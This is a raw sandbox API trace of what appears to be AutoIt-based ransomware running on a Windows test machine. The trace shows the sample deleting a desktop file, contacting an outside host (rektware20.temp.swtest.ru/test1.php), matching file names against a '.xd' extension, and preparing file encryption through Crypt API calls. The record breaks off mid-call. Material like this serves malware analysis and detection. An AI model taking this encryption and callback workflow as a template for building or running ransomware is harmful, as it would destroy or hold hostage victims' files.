[0078.611] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.611] CloseHandle (hObject=0x3c8) returned 1 [0078.613] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.613] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.613] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", lpFilePart=0x0) returned 0x2c [0078.613] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\xt7ves-s81.avi")) returned 0x20 [0078.613] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c670 [0078.613] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\xt7ves-s81.avi")) returned 1 [0078.618] FindNextFileW (in: hFindFile=0x164c670, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0078.618] FindClose (in: hFindFile=0x164c670 | out: hFindFile=0x164c670) returned 1 [0078.618] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.618] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.618] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.618] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.618] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0078.618] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0078.618] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.619] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0078.619] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.619] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0078.619] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0078.619] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c) returned 1 [0078.619] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.619] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.619] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.619] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0078.619] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0078.619] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0078.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0078.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0078.619] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.620] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.620] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.620] CloseHandle (hObject=0x0) returned 0 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ys1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jIVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IVhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vhj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hj0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zgeGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="geGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eGEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GEtl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Etl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tl.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0078.621] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.621] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.621] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0078.621] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.621] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0078.621] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0078.621] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.621] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0078.621] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0078.621] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c) returned 1 [0078.621] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.621] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.621] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.622] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0078.622] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0078.622] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0078.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629220, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629220*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0078.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629520, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629520*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0078.622] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.622] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.622] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.622] CloseHandle (hObject=0x0) returned 0 [0078.622] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.622] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ys1jIVhj0zgeGEtl.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0078.622] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0078.622] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.622] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.622] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.622] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.623] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.623] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.623] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0078.623] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.623] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.623] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0078.623] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.623] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.623] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.623] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.623] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.623] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0078.623] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0078.624] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0078.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0078.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0078.624] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0078.624] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0078.624] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.624] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.624] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0078.624] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.624] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.624] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.624] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.624] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.625] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.625] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.625] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.625] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.625] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.625] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.625] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.625] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0078.625] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.625] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.625] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.625] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.625] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.625] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.625] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.625] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.625] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.625] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.625] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.625] PeekMessageW (in: 